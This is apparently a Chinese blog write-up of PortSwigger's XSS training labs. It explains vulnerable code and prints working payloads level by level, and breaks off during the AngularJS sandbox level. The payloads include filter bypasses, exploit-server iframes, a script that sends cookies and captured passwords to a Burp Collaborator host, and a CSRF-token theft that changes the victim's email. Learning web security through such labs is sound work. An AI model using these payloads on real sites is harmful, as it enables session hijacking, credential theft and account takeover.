12225 字
61 分钟
XSS靶场wp
2026-01-10

靶场链接:Port Swigger XSS

第一关#

在不进行任何编码的情况下,将反射型 XSS 漏洞引入 HTML 上下文。

随机输入内容进行搜索,看源码找到内容的位置,然后查看闭合逻辑

'</h1><script>alert(1)</script><h1>'

或者直接

<script>alert(1)</script>

也可以

第二关#

将 XSS 漏洞存储到 HTML 上下文中,但未进行任何编码。

这个随便点进一个帖子,发现能发表评论,没什么限制

<script>alert(1)</script>

通关

第三关#

document.write利用源端在接收器中引入 DOM XSS 漏洞location.search

直接再搜索框中进行输入,发现对输入的内容进行了转义。然后F12查看源码,发现

function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
} // = $0

对这一段内容的解析

// 定义搜索跟踪函数:核心功能是插入统计图片,但存在致命XSS漏洞
function trackSearch(query) {
// 风险点1:直接拼接用户输入(query)到HTML字符串中,再通过document.write输出
// 原理:document.write会将拼接后的字符串当作HTML解析执行
// 如果query是恶意脚本(如<script>alert(1)</script>),会被浏览器直接执行
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
// 从URL的search参数中获取用户输入的搜索关键词(query)
// 例:URL为 ?search=<script>alert(1)</script> 时,query就是该恶意脚本
var query = (new URLSearchParams(window.location.search)).get('search');
// 如果存在搜索关键词,调用跟踪函数
if(query) {
// 风险点2:未对query做任何过滤/转义,直接传入危险函数
// 没有限制query的内容格式,恶意脚本被直接传递给document.write
trackSearch(query);
}
// = $0

那么通过search参数输入(就是搜索框里)

"><script>alert(123)</script>//

即可。 这里的逻辑就是根据document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');,query是我们的输入,先”>闭合,然后恶意代码,接着//将后边原有的部分变为注释

第四关#

innerHTML利用源端在接收器中引入 DOM XSS 漏洞location.search

直接输入没什么效果,F12搜索document,看到

function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}

依旧解析

// 搜索结果展示函数:核心是通过innerHTML渲染用户输入
function doSearchQuery(query) {
// 风险点1:innerHTML是危险的DOM接收器(Sink)
// 原理:innerHTML会解析并执行传入的HTML/JS代码(仅限制<script>标签直接执行,但可通过其他标签触发脚本)
// 风险场景:虽然innerHTML默认不执行<script>标签,但输入 <img src=x onerror=alert(1)> 这类payload时,
// 会解析<img>标签并触发onerror事件,执行alert(1),导致XSS攻击
document.getElementById('searchMessage').innerHTML = query;
}
// 从URL的search参数获取用户输入(源Source:location.search)
// 例:URL为 ?search=<img src=x onerror=alert(1)> 时,query就是该恶意payload
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
// 风险点2:未对用户输入(query)做任何过滤/转义,直接传入危险接收器
// 没有限制query的内容格式(如HTML标签、事件属性),恶意payload被直接渲染
doSearchQuery(query);
}

所以使用<img>标签

<img src=1 onerror=alert(1)>

成功解决

第五关#

利用源信息在 jQuery 锚点href属性接收器中引入 DOM XSS 漏洞location.search

这关又没有搜索框了,那攻击点就是帖子的评论。但是使用攻击后没发现有可攻击点,没变化啊,这时有发现了Submit feedback这个地方,进行尝试后,F12(和ctrl U)发现

$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});

同样进行解析

$(function() {
// 风险点1:href 是危险 DOM 接收器(Sink)
// 原理:支持 javascript: 等可执行协议,或通过特殊字符注入事件属性,点击即触发XSS;无域名限制则导致钓鱼跳转
// 风险场景:returnPath=javascript:窃密脚本 或 https://仿冒域名.com
// 风险点2:输入源(Source)可控:returnPath 来自 URL 参数,攻击者可任意构造恶意值
// 风险点3:无任何防护:未过滤危险协议、未限制域名、未转义特殊字符,直接传递不可信输入
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});

JS获取returnPath参数值,并拼接至a标签的href属性值。尝试从returnPath插入javscript(1),然后点击feedback 最开始点击feedback没反应,然后在原有utl的基础上直接加上了javascript(1)

/feedback?returnPath=javascript:alert(1)

成功解决

第六关#

使用 hashchange 事件在 jQuery 选择器接收器中引入 DOM XSS 漏洞

没有搜索框,那就是帖子评论,评论后发现也没有feedback,继续尝试对评论进行攻击,可是发现都没有成功。在评论这里没招了,回到home,F12发现

$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});

照样进行解析

$(window).on('hashchange', function(){
// 风险点1:window.location.hash 是用户完全可控的输入(可任意修改URL中的#后内容)
var hashValue = decodeURIComponent(window.location.hash.slice(1));
//#是hash标识,能让恶意内容被window.location.hash提取
// 风险点2:直接将用户输入拼接进 jQuery 选择器(:contains() 内的内容未做任何过滤)
var post = $('section.blog-list h2:contains(' + hashValue + ')');
//hashValue:urL中#后面的内容被直接拼进:contains()里面
// 风险点3:若用户输入包含恶意脚本字符,会导致选择器语法异常,进而触发 XSS
if (post) post.get(0).scrollIntoView();
});

大致意思为监听网页窗口的URL后的hash变化,发生变化后便会执行函数,函数中会对新的hash取值,并滚动到该hash处。 核心风险原理

jQuery 的:contains()选择器虽然用于「包含文本匹配」,但如果拼接的用户输入中包含选择器语法字符(如 '、"、>、<、()等),会导致选择器解析异常,进而触发代码执行漏洞。
这一关用到jQuery库,他是一个轻量级的JavaScript库,对javascript进行封装,jQuery把浏览器常用功能封装成简单的API,让你用几行代码就能完成原本几十行原生JS才能做的事。

在home页面url后面加上#<img src=x onerror=alert(1)>触发弹窗,然后这个题home页面有一个Go to exploit server,点击后在body中输入

<iframe src="https://0a1800da04741e39834f871f00210044.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

store保存后view exploit,然后deliver exploit to the victim,成功解决。 解释

根据上述解析中#后直接拼接,所以payload要加上#
<iframe>是为了把「攻击 payload 包装成 “自动触发 + 传递到目标页面” 的形式。核心作用是:
1.<iframe src="目标站#...">:让iframe加载目标页面,同时把#后的恶意hash传递给目标页面(触发目标页面的hashchange事件);
2.onload="this.src+='<img src=x onerror=print()>'":利用iframe的onload事件,在iframe加载完成后,动态修改它的src,把恶意的`<img>`payload追加到 hash 中—— 这样就能让目标页面hashValue变成恶意内容,触发XSS。

所以整体就是

<iframe src="目标站URL/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

第七关#

反射型 XSS 攻击,攻击对象为带有尖括号的 HTML 编码属性。

存在搜索栏,常规输入,然后F12查看

<input type="text" placeholder="Search the blog..." name="search" value="<script>alert(1)</script>"> == $0

ctrl U发现

<input type=text placeholder='Search the blog...' name=search value="&lt;script&gt;alert(1)&lt;/script&gt;">

上下一对比得知<>被转义了。<转义成了&lt,>转义成了&gt,但是双引号未做处理,可尝试利用事件触发。" onclick="alert(1),search之后点击搜索框发现成功触发了,但是没有显示通过。查看提示发现靶场需使用onmouseover事件,那就是

" onmouseover="alert(1)

成功通过 对于这两个事件函数的区别:onmouseover是鼠标移到元素上触发,onclick是鼠标点击元素触发

第八关#

将 XSS 存储在href带有双引号的 HTML 编码的锚属性中

没有搜索框,没有其它页面,那就找评论。发表完之后查看源码

<a id="author" href="112">&lt;script&gt;alert(1)&lt;/script&gt;</a>

发现href字段,联系第五关知识点,website(网址栏)直接

javascript:alert(1)

且在前面F12审查元素发现内容和姓名提交的内容被HTML实体化转移,这里网站website直接拼入a标签的href属性,所以前面评论提交后back to the blog点击姓名,成功触发。

第九关#

利用反射型 XSS 攻击攻击带有尖括号的 HTML 编码 JavaScript 字符串

打开发现搜索框,直接攻击,然后F12搜索script发现

var searchTerms = '<script>alert(1)</script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

老规矩进行分析

// 1. 核心风险:encodeURIComponent 无法防御 XSS 攻击
// 原因:encodeURIComponent 仅编码特殊字符(如 &、=、% 等),但不会编码 HTML 特殊字符(<、>、"、' 等)
// 当 searchTerms 包含脚本标签(<script>)时,即使经过 encodeURIComponent 编码,后端若直接拼接 HTML 输出,前端解析时仍会执行脚本
var searchTerms = '<script>alert(1)</script>'; //''里是我输入的内容
// 2. 潜在风险:document.write 动态输出未过滤内容
// 风险点:document.write 会直接将内容插入文档流,若拼接的参数未做严格过滤,容易触发 DOM 型 XSS
// 本案例中,虽然对 searchTerms 做了 encodeURIComponent 编码,但编码后的结果(%3Cscript%3Ealert(1)%3C/script%3E)
// 若后端未进一步对 HTML 特殊字符转义(如将 < 转义为 &lt;、> 转义为 &gt;),前端接收后解码会还原脚本标签并执行
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

由分析得知encodeURIComponent 仅编码特殊字符(如 &、=、% 等),但不会编码 HTML 特殊字符(<、>、”、’ 等),并且会将搜索内容赋值给JS脚本中的searchTherms变量。 所以逻辑就很清晰了,闭合(按照原逻辑’;)然后攻击就好了

';alert(1)//

过关

第十关#

在 select 元素中document.write使用 source 实现 DOM XSS 攻击location.search

这关和前面不一样了,不是blog,变成了shop。view details,然后只能检查库存。没有什么能让我们输入的地方,可操作空间相对于前几关来说小了不少,那就是urlGET请求进行攻击。没输入直接ctrl U查看就好,发现

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

老样子分析

// 风险点1:硬编码存储列表,扩展性极差
// 问题: stores 数组直接写死在代码中,新增/删除/修改门店需修改源码重新部署,无法动态更新
// 影响:维护成本高,无法快速响应业务变更
var stores = ["London","Paris","Milan"];
// 风险点2:未验证 URL 参数合法性,存在注入风险
// 问题:直接获取 URL 中的 storeId 参数,未做任何过滤/转义处理
// 影响:若攻击者构造 storeId 为恶意脚本(如 <script>恶意代码</script>),会触发 XSS 攻击,窃取用户信息或篡改页面
var store = (new URLSearchParams(window.location.search)).get('storeId');
// 风险点3:使用 document.write 动态输出 HTML,放大注入风险
// 问题:document.write 会直接解析并执行传入的 HTML/脚本,结合未验证的 store 参数,XSS 风险极高
// 影响:恶意代码可直接执行,完全控制页面或窃取敏感数据
document.write('<select name="storeId">');
if(store) {
// 风险点4:直接拼接未净化的用户输入到 HTML 中
// 问题:store 参数未经过 HTML 转义(如 & 转 &amp;、< 转 &lt; 等)
// 影响:即使 store 不是完整脚本,特殊字符也可能破坏 HTML 结构,导致页面错乱或触发潜在注入
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
// 风险点5:虽拼接的是硬编码数组元素,但仍存在潜在风险
// 问题:若后续 stores 数组改为动态获取(如从接口/存储读取),未做转义会继承注入风险
// 影响:未来代码迭代时可能引入隐藏漏洞,兼容性差
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
// 风险点6:缺乏参数校验,可能出现无效选项
// 问题:未验证 store 参数是否存在于 stores 数组中,若传入不存在的门店值,会生成无效的选中选项
// 影响:用户体验差,可能导致后续业务逻辑异常(如提交无效门店ID)
// 风险点7:document.write 的阻塞特性与兼容性问题
// 问题:document.write 在页面加载完成后调用会覆盖整个页面,且部分现代浏览器/安全策略可能限制其使用
// 影响:代码健壮性差,可能出现意外的页面渲染问题

从URL中获取storeId参数值,利用document.write将其未处理的写入网页中,开始尝试

url/product?productId=1&storeId=123

果然123被写在了页面上,F12查看,搜索123,发现<option selected>123</option>,那逻辑就很清楚了,先闭合,再攻击,且为了不让alert(1)因为裸写代码而失效,加上<script>包裹

</option><script>alert(1)</script>//

过关

第十一关#

AngularJS 表达式中涉及尖括号和双引号的 DOM XSS 漏洞(HTML 编码)

熟悉的搜索框又回来了,但是哪里都没找到熟悉的代码。找了wp学习的,先上payload

{{$on.constructor('alert(1)')()}}

然后开始对这个paylaod的分析

{{}}在AngularJS为插值表达式,
$on为监听事件方法或者为当前对象,
constructor()为javascript对象的构造函数属性。
这里可以理解成——当前对象加载构造的时候便会触发alert

然后就是对于payload这么构造的代码分析

<body ng-app class="ng-scope"> //关键再ng-app

ng-app用于标记 AngularJS 应用的根节点(通常加在 <html> 或 <body> 标签上),AngularJS 会自动识别这个指令,并启动对应的应用模块,让整个应用进入 “AngularJS 环境”。(在AngularJS中,ng-app指令表示该标签内容的所有内容都会进行编译和执行。)

第十二关#

反射型 DOM XSS

这一关依旧搜索框,搜完之后F12,一点前面东西的影子都没有。再分析源码,能看出是GET请求的部分就不贴了,分析其它部分

<script src='/resources/js/searchResults.js'></script>
<script>search('search-results')</script>

第一行:从网站的 /resources/js/ 目录下,加载包含了搜索结果等的名为 searchResults.js 的外部 JavaScript 文件 第二行:调用前面加载的 searchResults.js 中定义的 search() 函数,并传入参数 'search-results' 那么去看一下searchResult.js文件

function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
//`window.location.search` 就是浏览器 URL 中 `?search=` 这部分(查询参数);`path`是传入的`'search-results'`,因此实际请求的 URL 是 `search-results?search=`;这个请求是客户端异步发起的二次请求`eval('var searchResultsObj = ' + this.responseText);`
xhr.send();
//重点就是上边这一部分,下边的就不粘贴了

分析eval的拼接逻辑和变量命名可以推断出响应体是JSON。(分析详细如下)

1.变量名的语义:代码里定义了searchResultsObj(“Obj” 是 “Object” 的缩写),说明要把响应内容解析成 JS 对象。
2.eval的拼接方式:代码用eval('var searchResultsObj = '+ this.responseText) —— 这里是把响应内容当作 JS 代码的一部分拼接后执行。
只有当this.responseText是JSON 格式的字符串时,拼接后才会形成合法的 “变量赋值语句”(比如var searchResultsObj = {"results":[],"searchTerm":"xxx"}),最终把 JSON 解析成 JS 对象。
3. 后续函数的用途:displaySearchResults(searchResultsObj)是“展示搜索结果”,而它接收的是一个对象(searchResultsObj),这也符合 “从 JSON 解析出对象后渲染数据” 的逻辑。
如果响应体是 HTML,代码不会用 “拼接成对象” 的方式处理,而是会直接插入 DOM(比如element.innerHTML = this.responseText)。

那么打开网络,找到search-results?search=,然后查看响应

{"results":[],"searchTerm":"<script>alert(1)</script>"}

根据这个可以进行闭合”};alert(123)//,成功执行 再看一次网络

{"results":[],"searchTerm":"\"}alert(123)//"}

发现双引号被转义了,所以调整payload为

\"};alert(123)//

成功解决

第十三关#

存储型 DOM XSS

没有搜索框,post评论下手。评论之后发现我们输入的内容被<p>和</p>进行了包裹,那么就考虑闭合,同时还发现对</script>做了过滤处理。然后查看源代码

<span id='user-comments'>
<script src='/resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script>
<script>
loadComments('/post/comment')
</script>

通过这里可以看出是存储型DOM那么就可以构造事件触发型payload

</p><img src=1 onerror=alert(1)><p>

成功触发

第十四关#

在大多数标签和属性被屏蔽的情况下,反射型 XSS 攻击被引入到 HTML 上下文中

既有搜索框,也有Go to exploit server,也要联系一下第六关。 <script>alert(123)</script>被禁,显示”Tag is not allowed”,点击搜索才显示,应该是后端对标签进行了过滤,试一下看看哪个没被拦,<img>,<p>,<head>等等都被拦截,只有<body>正常可进行搜索。鉴于事件属性绕过WAF的常见思路,开始尝试事件函数, <body onload=alert(123)>123</body>(比<body onload=alert(123)></body>多了个123的可视页面)search之后显示”Attribute is not allowed”属性被禁用了,那就尝试其它的。最后发现onresize事件未被过滤,onresize在浏览器界面的大小发生变化时触发。但是直接使用onresize没有触发,可以用<iframe>标签来改变界面大小,这就跟第六关有一点点对应起来了

<iframe src="https://0a8d00eb034864de802a033900ab00f2.web-security-academy.net/?search=&quot;><body onresize=print()>" onload="this.style.width='100px'"></iframe>

然后去Go to exploit server,把上述内容填写在body里,store,再点Deliver exploit to victim,成功解决。 但是对于上边payload的构造需要解释一下

- <iframe src="URL?search=...">:
用iframe嵌入目标网站的搜索结果页,search参数是注入入口(后端会将搜索输入渲染到页面,未严格过滤则会执行注入的 HTML);
- search参数注入内容:&quot;><body onresize=print()>:
(1) &quot; :是 HTML 实体编码的双引号",作用是闭合后端搜索框的原有标签引号(假设后端渲染为<input value="用户输入">,注入"后变成<input value="">,直接闭合input标签);
(2) > :进一步闭合input标签的<,彻底终止原有标签,为注入新标签铺路;
(3) <body onresize=print()> :注入合法的body标签(已知该标签不被过滤),搭配冷门事件onresize(绕 WAF 拦截),绑定print()函数(触发打印功能);
- onload="this.style.width='100px":
iframe加载完成后自动设置自身宽度为 100px,仅控制iframe显示样式,不影响注入核心逻辑;
- </iframe>:
闭合iframe标签,保证HTML语法合法(避免页面结构错乱,让注入代码正常渲染)。

所以这个payload整体就是

<iframe src="URL/?search=&quot;><body onresize=print()>" onload="this.style.width='100px'"></iframe>

第十五关#

在HTML上下文中测试反射型XSS攻击,屏蔽所有标签,只允许自定义标签

页面形式上和上一关有些相像。一样的”Tag is not allowed”开局,开始爆破测试,发现用可以用自定义标签<tag><tag onclick=alert(123)>121,search之后点击121即可触发弹窗123。这个需要点击触发,于是可以想到onfocus(元素获得焦点时触发):只要让自定义标签自动获得焦点,就能自动执行代码,但是要触发onfocus,需要让标签可聚焦 + 自动聚焦:

  • tabindex="1":让原本不可聚焦的自定义标签,支持通过tab键(或代码)聚焦
  • id="x" + URL 锚点#x:页面加载时,会自动跳转到id="x"的元素,同时让该元素获得焦点
  • tabindex是 HTML 元素的一个属性,核心作用是控制元素是否 / 如何通过键盘Tab键获得焦点,同时也影响元素的 “可交互性”(比如触发onfocus事件) 然后进行封装,封到<script>location="..."</script>里,打开包含这段代码的页面时,会自动跳转到恶意 URL,进而触发onfocus事件、执行alert(document.cookie)。 把 “自定义标签 + onfocus 事件 + 自动聚焦属性” 拼到 URL 的search参数里,再用<script>location</script>包裹,就得到了最终 payload:
<script>location="URL/?search=<tag onfocus='alert(document.cookie)' id='x' tabindex='1'>#x"</script>

然后依旧Go to exploit server,把上述内容填写在body里,store,再点Deliver exploit to victim,成功解决。

第十六关#

允许使用 SVG 标记的反射型 XSS 攻击

这次只有搜索框了,经测试过滤了所有标签,仅svg及animatetransform标签可以被正常识别。有waf,下一步测试事件函数,大多也被禁止使用,只有onbegin被允许。那payload构造就很清楚了

<svg><animatetransform onbegin=alert(123) />

扩:<animateTransform>是 SVG 用于实现 “动态变换动画” 的标签(比如让图形旋转、缩放),属于 SVG 标准语法。onbegin:SVG 专属的 “自动触发事件”——当动画开始执行时,触发指定代码。

第十七关#

规范链接标签中的反射型 XSS 攻击

这一关没有搜索框,先尝试了发表评论,没有效果,又看到提示说的反射型XSS(前面没看直接去测试的),那就考虑URL。。此时F12查看元素代码发现随着打开帖子的不同,url上postId参数的值在改变且直接用参数生成了<link>标签的 href。 “ url参数我们是可控的,尝试修改 postId 的值,发现"Invalid blog post ID" ,页面不存在。那尝试修改参数名。发现页面响应,且被写入`标签 ,通过参数赋值写入尖括号<>发现如题目所说被编码,尝试利用页面中已存在的标签,通过其属性事件或内容触发脚本执行。 像这样针对用户输入被直接嵌入到 HTML 标签的属性中的漏洞场景,可以考虑用onclick, 所以先尝试?‘onclick=alert(1),显示

<link rel="canonical" href="https://0afc00e...web-security-academy.net/?" onclick="alert(1)'/>

后边多了个’,加个’进行闭合?’ ——?‘onclick=‘alert(1)。添加上accesskey=‘x’可以与快捷键进行绑定,不用手动点击元素,通过快捷键就能触发XSS代码

?'accesskey='x'onclick='alert(1)

成功解决

第十八关#

利用反射型 XSS 攻击,将单引号和反斜杠转义到 JavaScript 字符串中

有搜索框,开始攻击。结合提示说:单引号和反斜杠被转义,无法提前闭合字符串,尝试闭合标签写入新的标签,所以payload

</script><script>alert(1)</script>

成功解决

第十九关#

利用反射型 XSS 攻击,攻击对象为包含尖括号、双引号、HTML 编码且单引号转义的 JavaScript 字符串。

依旧搜索框,开始攻击。经典试探<script>alert(123)</script>,F12查看元素

var searchTerms = '&lt;script&gt;alert(123)&lt;/script&gt;';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

可以得知<>被转义,前者&lt,后者&gt。我们输入的内容为searchTerms,那么就可以先闭合再攻击,逻辑明确开始实施。 正常的话按照闭合逻辑应该是这样的:">;alert(123)//。但需要注意尖括号被转义了,所以我们可以将其替换,又为了保证引号闭合后\不会别JS解析成转义符,所以换一下位置,也就是\";alert(123)//,这次又发现,“也被转义了&quot,所以采用单引号来代替,所以最终的payload就可以得出来了

\';alert(123)//

成功过关。 然后这里如果根据官方和其它wp的payload看:alert(1) 是独立语句执行,变量赋值和弹窗调用分开\'-alert(1)//

第二十关#

将 XSS 存储在onclick事件中,使用尖括号和双引号进行 HTML 编码,并使用单引号和反斜杠进行转义

这次涉及了些知识点,先总结一下

一、&apos;的 HTML 实体解析规则
- 含义:是单引号'的HTML实体表示;
- 解析场景差异:
- 在HTML 标签的属性/文本中:浏览器会自动将&apos;解析为单引号';
- 在JavaScript 字符串中:&apos;只是普通字符,不会自动转成单引号;
但是某些后端框架或程序会显式调用HTML实体解码函数,将 &apos; 转换成 ',然后再执行转义。因此,是否能用 &apos; 绕过单引号转义,关键在于服务器端是否对输入进行了 HTML 实体解码。在本题中 onclick 是 HTML 标签的属性,浏览器在解析 HTML 标签时,会先对属性值中的 HTML 实体做解码,然后传递给 JavaScript 引擎执行
二、tracker.track()的 JS 对象方法概念
- 结构:tracker是一个对象,track是该对象的一个方法(函数);
- 写法等价性:
``
// 写法1(完整function关键字)
var tracker = { track: function() { /* 方法体 */ } };
// 写法2(简写形式)
var tracker = { track() { /* 方法体 */ } };
```
- 调用方式:通过 `tracker.track()` 执行该方法(比如示例中调用后会输出日志)。

没有搜索框,去评论。website随便填一个,然后F12就可以发现

<a id="author" href="http://abcd" onclick="var tracker=(track());tracker.track('http://4567');">a</a>

<p><script>alert(123)</script></p>

重点看第一部分。输入的 Website 被写入了 href 和 onclike 的对象方法。而此时我们就可以利用开始提到的HTML实体编码,通过 ‘来绕过转义提前闭合字符串。onclick 是 HTML 标签的属性,浏览器在解析 HTML 标签时,会先对属性值中的 ’ ,然后传递给 JavaScript 引擎执行。在提交评论时发现website部分需要符合格式要求,所以无法直接写入函数,需要通过写入数学表达式的形式注入payload。所以最终的payload就有了

http://&apos;-alert(1)-&apos;

成功解决

第二十一关#

利用反射型 XSS 攻击模板字面量,该模板字面量包含尖括号、单引号、双引号、反斜杠和反引号,并已进行 Unicode 转义

有搜索框,开始攻击。F12发现

var message = `0 search results for '\u003cscript\u003ealert(123)\u003c/script\u003e'`;
document.getElementById('searchMessage').innerText = message;

<被转义成了\u003c,>被转义成了\u003e,加上innerText只处理纯文本内容,不会解析任何 HTML 标签、JS 脚本,也不会还原 Unicode 转义 / HTML 实体转义的特殊字符。所以说攻击点是比较局限的。 再回看这段元素代码,var message=用反引号包裹,这是 JS 中 “模板字面量” 的标志。模板字面量的特殊功能就是支持 ${表达式} 嵌入 JS 代码,结合当前题目,尖括号、引号都被 Unicode 转义了,innerText又会把内容当纯文本,但模板字面量的 ${...} 语法是在 JS 解析阶段生效的(和innerText的渲染阶段无关)—— 只要能在模板字面量里插入 ${表达式},JS 就会先执行这个表达式,再拼接成字符串。所以可以通过${}进行攻击,所以最终payload

${alert(123)}

成功解决

第二十二关#

利用跨站脚本攻击窃取 Cookie

没有搜索框,去评论区。这个看了提示,利用跨站脚本攻击窃取 Cookie。这题是最基础的存储型XSS漏洞,直接展示payload

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

payload解释

fetch:浏览器原生的接口,用于发起网络请求。
URL:https://BURP-COLLABORATOR-SUBDOMAIN 是Burp Collaborator 服务器地址,专门用于接收和记录被攻击的请求。
method: 'POST':使用 POST 方法发送数据。
mode: 'no-cors':允许跨域请求,但不会暴露响应内容(这避免了跨域限制)。
body: document.cookie:发送当前网页的 cookie 信息作为请求体。

fetch那里从bp的collaborator复制一个payload进行替换,然后发表评论,会触发脚本向目标服务器发送当前网页的cookie,即可看到相应信息,在request to collaborator里可以看到secret= 和session=lViFfnioFPl0LQILUaIOZne6KCRhzj4U。复制,回到home,抓包,然后将cookie里的session改为前面获得的值,放行,成功过关。

第二十三关#

利用跨站脚本攻击窃取密码

这一关依旧发表评论,需要构造一个payload

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

发送后返回请求包,获得用户名和密码,administrator,然后my count利用获得的用户名和密码登陆,成功通关

第二十四关#

利用 XSS 绕过 CSRF 防御

CSRF Token 防御:为每个需要权限的请求(POST/PUT/DELETE)生成一个随机的、不可预测的 token,并且 和用户会话绑定。(不是一个独立的随机字符串,而是和当前用户的登录状态一一对应的) 点击my account,用题目描述里给你账号密码登陆,然后F12查看页面代码,发现有一个标准的 CSRF token 隐藏字段

<input required type="hidden" name="csrf" value="uwlAA08snmqetTrV.LiPeQUSL94bZPHYvFr">

接下来需要干的就是加载用户账户页面,获得CSRF令牌,然后通过这个令牌去更改目标的电子邮件地址。剩下的操作区域就是在评论了,进入评论,构造payload

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

成功过关 对于这个payload的解释

// 第一步:创建XMLHttpRequest实例,用于发送第一个GET请求获取CSRF令牌
var req = new XMLHttpRequest();
// 绑定请求成功完成后的回调函数(当/my-account页面响应完成后,自动执行handleResponse函数)
req.onload = handleResponse;
// 初始化异步GET请求
// 参数1:请求方法get(用于获取页面数据)
// 参数2:请求地址/my-account(用户账户页面,包含CSRF令牌)
// 参数3:true(表示异步请求,不阻塞浏览器其他操作)
req.open('get','/my-account',true);
// 发送初始化好的GET请求(GET请求无请求体,直接调用send()不传参)
req.send();
// 定义GET请求成功后的回调函数,核心逻辑:提取CSRF令牌 + 发送修改邮箱的POST请求
function handleResponse() {
// 1. 提取CSRF令牌
// this:指向当前XMLHttpRequest实例(即req)
// this.responseText:获取/my-account页面返回的完整HTML文本内容
// match(/name="csrf" value="(\w+)"/):使用正则匹配CSRF隐藏域
// (\w+):捕获组,匹配令牌的字母/数字/下划线内容
// [1]:获取正则匹配结果中的第1个捕获组,即纯CSRF令牌值
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
// 2. 创建第二个XMLHttpRequest实例,用于发送修改邮箱的POST请求
var changeReq = new XMLHttpRequest();
// 初始化异步POST请求
// 参数1:请求方法post(用于提交数据、修改服务器端资源)
// 参数2:请求地址/my-account/change-email(邮箱修改接口)
// 参数3:true(保持异步请求,不阻塞页面)
changeReq.open('post', '/my-account/change-email', true);
// 发送POST请求,携带请求参数(application/x-www-form-urlencoded格式键值对)
// csrf='+token:携带提取到的CSRF令牌,用于通过后端CSRF验证
// &email=test@test.com:要修改的目标邮箱地址
changeReq.send('csrf='+token+'&email=test@test.com');
};

第二十五关#

使用 AngularJS 沙箱逃逸实现反射型 XSS(无需字符串)

旧版的 AngularJS 沙盒机制不完善,允许访问 constructor ,表达式中的 constructor.constructor 访问到全局 Function 构造器,执行任意代码。 新版 AngularJS 加强了限制,禁止访问 constructor 和其它危险属性,防止动态构造函数执行字符串代码,使得像 constructor.constructor(‘alert(123)’)() 不能运行。 并且沙盒阻止字符串字面量动态构造代码,就是不允许直接用 ‘alert(1)’ 这种字符串写代码并执行,防止直接注入执行任意JS

搜索框,开始攻击。之后F12查看代码,发现

<script>
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '&lt;script&gt;alert(123)&lt;/script&gt;';
$scope.value = $parse(key)($scope.query);
});
</script>
<h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for &lt;script&gt;alert(123)&lt;/script&gt;</h1>

老样子,开始分析

<!-- 这段代码包含两部分:AngularJS 前端脚本 + 绑定控制器的 HTML 标签,核心展现了 AngularJS 基础用法及 XSS 相关的内容处理 -->
<script>
// 1. 定义一个名为 labApp 的 AngularJS 模块(模块是 AngularJS 应用的容器,用于组织代码)
// 第二个参数 [] 表示该模块没有依赖其他外部模块
angular.module('labApp', [])
// 2. 为 labApp 模块定义一个名为 vulnCtrl 的控制器(控制器用于管理视图的数据和逻辑,关联 $scope 作用域)
// 注入 $scope(视图与控制器之间的数据桥梁)和 $parse(AngularJS 内置服务,用于解析表达式)
.controller('vulnCtrl',function($scope, $parse) {
// 3. 在 $scope 作用域上定义一个空对象 query,用于存储视图相关数据
$scope.query = {};
// 4. 定义一个字符串变量 key,值为 'search',后续用于作为 query 对象的属性名
var key = 'search';
// 5. 为 $scope.query 对象添加一个属性(属性名由 key 变量指定,即 'search')
// 属性值是转义后的 HTML 脚本字符串:&lt; 对应 <,&gt; 对应 >
// 这里存储的是一段潜在的 XSS 脚本,但已经做了 HTML 实体转义,防止直接执行
$scope.query[key] = '&lt;script&gt;alert(123)&lt;/script&gt;';
// 6. 使用 $parse 服务解析 key 对应的表达式(即 'search'),返回一个解析函数
// 调用该解析函数并传入 $scope.query 作为上下文,获取 query.search 对应的属性值
// 最终将获取到的转义字符串赋值给 $scope.value(用于在视图中展示)
// $parse 在这里的作用是安全地提取对象属性值,避免直接拼接表达式带来的风险
$scope.value = $parse(key)($scope.query);
});
</script>
<!-- 7. h1 标签:视图层元素,用于展示数据
